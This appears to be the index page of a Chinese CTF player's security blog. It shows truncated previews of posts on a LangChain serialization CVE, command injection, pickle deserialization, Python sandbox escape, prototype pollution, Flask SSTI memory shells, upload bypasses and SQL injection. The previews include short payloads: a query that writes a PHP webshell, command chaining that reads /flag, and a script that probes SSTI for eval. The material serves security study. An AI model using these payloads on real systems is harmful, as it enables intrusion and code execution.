大家好啊我叫ivory
主业是打ctf,学习网安知识: 有人问我:“你是ctfer吗”我觉得我是 副业偶尔搞搞各种各样的开发例如qqbot: 目前属于Syclover安全技术小组的新芽组希望能继续跟大家一起学习进步
langchain序列化注入-CVE-2025-68664
langchain序列化 CVE-2025-68664影响版本langchain-core < 0.3.81 langchain-core >= 1.0.0 且 < 1.2.5 概要具体位于这里 from langchain_core.load import dumps, dumpd, load, loads dumps()与dumpd()函数在处理字典对象时没有对lc这个键进行转义 这个键属于内部保留键,如果用户手动添加这个键值,就能伪造成内部的操作 实现窃取环境变量等操作 调试分析/源码逻辑从loads开始调试 可以清楚的看到经过dumpd()函数的字典中的lc键并没有被转义 步入进beta()装饰器,这个不重要,在return回外部时步入即可 进入loads()函数本身: @beta()def loads( text: str, *, secrets_map: Optional[dict[str, str]] = None, valid_namespaces: Optional[list[str]] =...
RCE补课
RCE补课linux shell解析命令的过程遵循“一切皆字符串原则”,除去特殊符号的作用外,一都认为是字符串,没有别的数据类型 如果出现特殊符号,例如通配符,或者变量,则会全部替换成字符串,再进入shell解析 例如: cat flag 这句命令中的 cat 和 flag,事实上都被认为是字符串 然后shell通过空格将参数分隔 第一个位置的参数必须是命令(可执行文件路径、内置命令、函数) 后面的所有位置都作为传递给命令的参数 特殊符号与特殊变量命令链接符; 和 || 无论成败都继续执行: ping 127.0.0.1; cat /flag && 与运算,仅成功时执行,可以用来盲注:mkdir test && cd test 通配符* (星号):匹配 任意长度 的任意字符。? (问号):匹配 单个 任意字符。[]:匹配括号内的 任意一个 字符。cat /fla[e-h]{} 扩展生成,cp config.php{,.bak} -> 等效于 cp config.php...
pickle反序列化
Picklehttps://goodapple.top/archives/1069pickle反序列化比java和php的危害要大不少因为利用起来比较容易,很轻松可以RCE经常和其它基础漏洞配合起来使用 能够序列化的对象 None bool int,float,complex 元素全部为可打包对象的tuple、list、set 和 dict 函数 使用def定义的模块顶层的函数(lambda不行) 内置函数 类 使用class定义在模块顶层的 实例对象 __dict__属性和__getstate__()函数的返回值为可序列化对象 PS:对于不能序列化的数据会抛出PicklingError异常 opcode和Bytecodepickle的序列化数据的一种格式是opcode(直译就是操作码) 是一种独立的栈语言, Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑 例如: def add(a, b): return a + b 转换成指令流: 2 0...
python沙箱逃逸
Python 沙箱逃逸栈帧逃逸2025 mini-L pyboximport multiprocessingimport sysimport ioimport astclass SandboxVisitor(ast.NodeVisitor): forbidden_attrs = { "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__", "__globals__", "__code__", "__closure__", "__func__", "__self__", "__module__", "__import__", "__builtins__",...
原型链污染(js/python)
原型链污染原型和原型链和类和对象的继承关系很像对比起来理解就很容易了: javascripthttps://blog.csdn.net/qq_51586883/article/details/119867720例子: function person(){ this.name="liahuqiu"; this.test=function () { return 23333; }}person.prototype.a=3;web=new person();console.log(web.test());console.log(web.a) 假设有merge函数 function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key],...
flask_ssti内存马
内存马https://www.cnblogs.com/gxngxngxn/p/18181936这里的内存不是二进制那些高深的概念就是改变某些在请求过程中,会起到作用的属性和方法,从而达到我们的目的写内存马的前提不同于文件马需要实现的是代码执行而不是文件读写 利用脚本找出ssti中存在的evalimport requestsurl = "http://127.0.0.1:5000?name="for i in range(0,400): payload="{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__.__builtins__.eval('print(0)')}}" response = requests.get(url=url+payload) if response.status_code == 200: ...
Upload_LFI补课
upload_lab补测常见绕过 前端拦截 前端都是纸老虎简单的话就使用console修改前端js实现复杂的话就上传一个正常文件,然后修改流量包 MIME类型判断 例如限制了 Content-Type: image/png 那么直接在上传木马时修改成对应的即可不会影响文件的使用 黑名单(过滤不全) 那么可以解析为php的文件后缀有很多常见的: php,php3,php4,php5,phtml 黑名单(过滤全木马) 上传.htaccess文件可以让更多的文件类型解析为php示例: <Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted</Directory> 上传.user.ini文件 auto_prepend_file=test.txt 文件名处理逻辑 加点,加空格,双写,0x00阶段不重复写了 LFIphp...
sql注入补课
SQL补课文章来自友链kirakiraayu自己对着重新抄写学习了一遍 读写文件 读文件使用load_file()函数select load_file("E:\\flag.txt"); 写文件使用into outfileselect 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php"; 报错注入 xpath报错注入(extractvalue和updatexml) updatexml() extractvalue() 当这两个函数在执行时,如果出现xml文档路径错误就会产生报错 updatexml()函数 updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。 作用:改变文档中符合条件的节点的值 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc...
d3ctf复现
d3model审源码项目依赖的版本: keras==3.8.0flasktensorflow 源码: import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return Trueapp = Flask(__name__)@app.route('/', methods=['GET'])def index(): return open('index.html').read()@app.route('/upload', methods=['POST'])def upload_file(): if 'file' not in request.files: ...






